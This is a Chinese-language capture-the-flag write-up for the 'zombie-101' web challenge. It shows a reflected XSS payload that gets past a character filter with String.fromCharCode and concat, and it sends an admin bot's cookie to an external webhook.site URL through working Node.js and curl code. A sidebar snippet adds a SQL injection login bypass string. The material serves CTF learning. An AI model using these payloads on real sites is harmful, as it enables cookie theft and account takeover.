# Zombie-101 Writeup
## 题目信息
- **题目名称**: zombie-101
- **题目类型**: Web
- **URL**: http://49.232.142.230:14391
- **Flag 格式**: wctf{}
- **难度**: Easy
## 考点分析
- **XSS (Cross-Site Scripting)**:通过反射型 XSS 窃取 Admin Bot 的 Cookie
- **Admin Bot 模拟**:利用 `/visit` 端点触发 Admin Bot 访问恶意 URL
- **XSS 过滤绕过**:绕过对 `+` 和 `'`(单引号)的 WAF 过滤
- **数据外带 (Exfiltration)**:通过 `String.fromCharCode` + `concat` 构建外带 URL
---
## 解题思路
### 1. 信息收集
访问首页发现两个表单:
| 端点 | 方法 | 功能 |
|------|------|------|
| `/zombie?show=` | GET | 输入一个僵尸节目名称,页面会回显评价 |
| `/visit?url=` | GET | 提交一个 URL,Admin Bot 会访问它 |
### 2. XSS 探测
测试 `/zombie` 端点对不同 HTML 标签的过滤情况:
| Payload | 响应 | 说明 |
|---------|------|------|
| `<script>alert(1)</script>` | "Wow, we really liked..." | **可执行** |
| `<img src=x onerror=alert(1)>` | "Sorry...was horrible" | 被过滤 |
| `<svg/onload=alert(1)>` | "Yeah...was ok" | 不确定是否执行 |
进一步测试字符级别过滤:
- `+` → 被过滤("Sorry")
- `'`(单引号) → 被过滤("Sorry")
- `` ` ``(反引号) → "Yeah...ok"(不确定)
- `.`、`=`、`,`、`()` → 正常通过
### 3. 限制分析
`/visit` 端点的关键限制:
```
Please provide a url with a hostname of: 49.232.142.230
```
URL 的 hostname 必须为 `49.232.142.230`,不能直接使用外部 webhook 地址。
但 XSS 执行后,JavaScript 可以向外域发起请求(虽然受 CORS 限制无法读取响应,但 GET 请求仍会发送)。
### 4. 绕过过滤
由于 `+` 和 `'` 被过滤,需要使用替代方案:
- 字符串拼接:用 `.concat()` 替代 `+`
- 字符串字面量:用 `String.fromCharCode()` 替代引号
### 5. 构造 Payload
**目标**:让 Admin Bot 执行 XSS 后,将 `document.cookie` 发送到外部的 webhook。
**Webhook URL**: `https://webhook.site/<UUID>?c=`
**Payload 结构**:
```javascript
window.location=String.fromCharCode(104,116,116,112,115,...).concat(document.cookie)
```
其中数字数组是将 webhook URL 逐字符转换为 ASCII 码,避免使用引号。
### 6. 攻击链
```
用户提交 /visit?url=<encoded_XSS_URL>
→ 服务端解码 URL
→ Admin Bot (Zombie.js) 访问 /zombie?show=<script>...</script>
→ XSS 执行:读取 document.cookie
→ 拼接 webhook URL + cookie 并跳转
→ webhook 捕获请求,cookie 出现在 query string 中
```
---
## 关键代码
### 构建和提交 Exploit
```javascript
// Node.js: 构建攻击 URL
const webhook = 'https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6?c=';
const charcodes = [...webhook].map(c => c.charCodeAt(0)).join(',');
const payload = '<script>window.location=String.fromCharCode(' + charcodes + ').concat(document.cookie)</' + 'script>';
const targetUrl = 'http://49.232.142.230:14391/zombie?show=' + encodeURIComponent(payload);
const visitUrl = 'http://49.232.142.230:14391/visit?url=' + encodeURIComponent(targetUrl);
```
### cURL 命令
```bash
curl -s "http://49.232.142.230:14391/visit?url=http%3A%2F%2F49.232.142.230%3A14391%2Fzombie%3Fshow%3D%253Cscript%253Ewindow.location%253DString.fromCharCode(...).concat(document.cookie)%253C%252Fscript%253E"
```
### 检查 Webhook 回调
```bash
curl -s "https://webhook.site/token/<UUID>/requests?sorting=newest" \
-H "Accept: application/json"
```
---
## 结果
Admin Bot 的 Cookie:
```
flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}
```
**Flag: `wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}`**
Admin Bot 的 User-Agent:`Zombie.js/6.1.4`
---
## 注意事项
1. **双重 URL 编码**:`/visit?url=` 的参数值会被服务端解码一次再给 Admin Bot,而 Admin Bot 访问 `/zombie?show=` 时又会解码一次。因此需要双重编码(`%` → `%25`)。
2. **WAF 过滤粒度**:题目只过滤了 `+` 和 `'` 两个字符,`String.fromCharCode()` + `.concat()` 的组合可以完美绕过。
3. **Webhook 选择**:webhook.site 需要通过 API 创建 token(`POST /token` + `Accept: application/json`),不需要浏览器。
4. **window.location vs new Image().src**:两者都可以用于数据外带。`window.location` 会跳转页面但更可靠;`new Image().src` 在后台发送不影响页面,但加载失败可能不触发请求。
5. **XSS 响应分类**:题目用三种响应区分过滤结果 — "Wow"(可执行)、"Yeah"(边缘情况)、"Sorry"(被过滤),可以帮助快速定位 WAF 规则。
Zombie-101的详细WP
JLing 2026-05-27 10:34:53 30 0
作者:JLing
4
提交0
收入相关WriteUP
-
Web安全入门指北—POST
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 2年前
-
post-the-get
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 2年前
-
my-first-sqli
username=admin'and1=1--+password任意输入,即可登录
- WEB
- 2年前
-
inspect-me-WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 2年前
-
Python Pickle Unserializer—WP
***收费WriteUP请购买后查看,VIP用户可免费查看***
- WEB
- 2年前